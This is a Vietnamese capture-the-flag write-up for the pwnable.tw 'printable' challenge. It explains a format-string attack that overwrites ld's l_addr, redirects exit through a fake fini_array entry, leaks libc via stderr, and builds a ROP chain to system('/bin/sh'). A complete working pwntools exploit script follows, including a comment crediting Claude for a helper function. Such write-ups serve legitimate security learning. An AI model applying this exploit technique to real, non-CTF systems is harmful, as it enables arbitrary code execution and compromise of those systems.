Printable
tl;dr: Tận dụng địa chỉ ld còn sót trên stack; Ghi đè l_addr, để nhảy đến fini_array entry giả; printf() tự ghi đè return address của nó; printf() luôn thông qua bss của binary để tìm đến stdout; Dùng stderr thay cho stdout.
Recon
Mitigation
$ pwn checksec printable
[*] '/home/hungnt/pwnable.tw/printable/printable'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)$ file printable
printable: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=682b3bdecefff7d811cd414b18e0744baf36d641, not strippedCode
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
char s[136]; // [rsp+0h] [rbp-90h] BYREF
unsigned __int64 v4; // [rsp+88h] [rbp-8h]
v4 = __readfsqword(0x28u);
init_proc(argc, argv, envp);
memset(s, 0, 128uLL);
printf("Input :");
close(1);
read(0, s, 128uLL);
printf(s);
exit(0);
}Solve
Hàm main() chỉ cho 1 lần printf(), mà lại còn đóng fd 1, nên chỉ có thể ghi. Mục tiêu mình cần làm bây giờ là làm sao từ trong exit() nhảy đc về main() và bật lại fd 1, hay gửi dữ liệu qua fd 0 hoặc 2. Vì mình tương tác với remote qua socket, cả 3 fd đều trỏ về cùng socket hai chiều, mình đều nhận đc dữ liệu qua fd 0 và 2.
Ok đầu tiên, làm sao từ exit() nhảy về main() đc? Bây giờ mình chỉ có thể dùng printf() để ghi vào bss hoặc ghi vào địa chỉ nào có sẵn từ trước ở trên stack, tận dụng địa chỉ còn sót lại như bài De-ASLR trước đó:

Mình thử xem địa chỉ này (trong ld) có đc dùng trong lúc exit() ko?
Tại hàm _dl_fini(), nó đc đặt vào rbx:

Sau đó giá trị tại rbx đc cộng vào r12, kết quả là một địa chỉ trong binary, và rồi call hàm tại địa chỉ đó, đây là hàm tại fini_array entry:

Vậy nếu mình kiểm soát giá trị offset này vào rbx, mình có thể kiểm soát r12+rbx rơi vào vùng bss của binary, ghi địa chỉ main() trên đó, vậy là có thể quay lại main.
Giải thích về giá trị mình vừa ghi đè, đó là l_addr:

Ok giờ mình có thêm lần printf() thứ 2, nhưng ko có lần tiếp nữa vì gadget kia chỉ đc 1 lần do chương trình chỉ đăng ký 1 hàm trong fini_array. Để quay lại main() (sau memset), mình dùng printf() để ghi đè địa chỉ của chính nó, bởi vì trong lần printf() thứ 2, có sẵn địa chỉ trên stack nằm trong vùng payload của mình chạm tới được, nên mình ghi đè byte cuối trỏ đến nơi có return address của printf() (Khác với lần đầu do có memset clear stack). Vì stack ko ổn định, việc này có thể cần bruteforce.

Vậy là mình có thể printf() vô tận rồi. Nhưng giờ sao? Mình làm gì tiếp được? Mình vẫn chưa leak đc cái gì cả.
Đến đây mình mới phát hiện ra rằng printf() tìm đến stdout thông qua symbol trên bss của binary, chứ ko phải sử dụng trực tiếp như mình tưởng:

Vậy mình có thể đọc dữ liệu trên stack bằng cách ghi đè địa chỉ stderr (2 byte cuối) trong libc vào bss:

Giờ đã có libc, mình chỉ việc printf() liên tục để hoàn thiện ROP chain từng byte một là xong.
Script
#!/usr/bin/env python3
from pwn import *
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\0"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
A = lambda len=1, c=b'A': c * len
z = lambda len=1, c=b'\0': c * len
e = context.binary = ELF('./printable_patched', checksec=False)
libc = ELF('./libc_64.so.6', checksec=False)
ld = ELF('./ld-linux-x86-64.so.2', checksec=False)
context.terminal = ["/usr/bin/tilix", "-a", "session-add-right", "-e", "bash", "-c"]
gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
set follow-fork-mode parent
set detach-on-fork on
# b *main+126
# b *_dl_fini+777
b *printf+148
continue
'''
def conn():
if args.LOCAL:
p = process([e.path], stdin=PTY, stdout=PTY, stderr=PTY) # important
sleep(0.25)
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
sleep(1)
return p
else:
host = "chall.pwnable.tw"
port = 10307
return remote(host, port)
# Claude qua dang cap
def fmtstr_byte(offset, writes, written=0):
# expand to (byte_val, addr) pairs, sort by byte_val
pairs = sorted(
[(( v >> (8*i)) & 0xff, addr + i)
for addr, v in writes.items()
for i in range((v.bit_length() + 7) // 8 or 1)],
key=lambda x: x[0]
)
fmt = ''
addrs = []
for i, (byte, addr) in enumerate(pairs):
diff = (byte - written) % 256
fmt += (f'%{diff}c' if diff else '') + f'%{offset + i}$hhn'
written = byte
addrs.append(addr)
fmt = fmt.ljust((len(fmt) + 7) & ~7, 'X') # align to 8 bytes
return fmt.encode() + b''.join(pack(a) for a in addrs)
attempt = 0
while True:
attempt += 1
print("\n----------> Attempt", attempt)
p = conn()
bss = 0x601000
stdout_bss = bss + 0x20
fini_array = 0x600db8
main_86 = 0x400925 # <main+86>
stderr = 0x4540
'''
0x248 = fini_array - bss
0x40 0x0925
0x45 0x40
write:
0x4540 -> stdout_bss
printf() always use 0x601020 (stdout@@GLIBC_2.2.5)
0x400925 -> bss, ret2main when exit()
'''
print("Overwriting stdout and l_addr")
k = 13
pl = f'%{0x40}c%{k}$hn'
pl += f'%{k+1}$hhn'
pl += f'%{0x5}c%{k+2}$hhn'
pl += f'%{bss - fini_array - 0x45}c%42$hn'
pl += f'%{0x925 - 0x248}c%{k+3}$hn'
pl = pl.encode().ljust(56, b'A')
pl += flat(bss + 2, stdout_bss, stdout_bss + 1, bss)
sa(p, b'Input :', pl)
sleep(0.25)
print("Leaking libc and stack")
pl = f'%{0x25}c%23$hhn'
pl += f'libc-%32$p stack-%35$p'
pl = pl.encode().ljust(0x50, b'\0')
# Overwrite last byte of printf() return address
last_byte = 0xe0
pl += p8(last_byte)
s(p, pl)
r = p.recvrepeat(timeout=1)
if len(r) < 1 or b'Segmentation fault' in r:
print("Fail attempt, sigsegv")
p.close()
sleep(0.5)
continue
idx = r.index(b'libc-') + 5
libc.address = leak_hex(r[idx : idx + 14], 0x39ff8)
lg("libc base", libc.address)
idx = r.index(b'stack-') + 6
stack = leak_hex(r[idx : idx + 14])
lg("stack", stack)
# Stack check to see if last byte overwrite was correct
if stack & 0xff != (last_byte + 0xb0) & 0xff:
print("Fail attempt, last byte overwrite was wrong")
p.close()
continue
print("Last byte overwrite was correct, continue")
sleep(0.25)
add_rsp_0x80_ret = libc.address + 0x000000000006b4b8 # add rsp, 0x80 ; ret
pop_rdi_ret = libc.address + 0x0000000000021102, # pop rdi ; ret
ret = 0x4009c4
print("ROP byte by byte")
sleep(0.25)
for i in range(3):
writes = {
stack - 0x1b0: main_86,
stack - 0x1a8 + (i * 2): (add_rsp_0x80_ret >> (8 * i * 2)) & 0xffff
}
pl = fmtstr_byte(20, writes)
s(p, pl)
sleep(0.25)
writes = {
stack - 0x1b0: ret,
}
pl = fmtstr_byte(18, writes).ljust(0x50, b'\0')
pl += flat(
pop_rdi_ret, # rsp + 0x80
binsh(libc),
libc.symbols['system']
)
s(p, pl)
rr(p, 1)
print("Success, calling system()")
print("Write flags to stderr")
sl(p, b'cat /home/printable/printable_fl4g >&2')
print(ra(p, 2).decode())
p.close()
break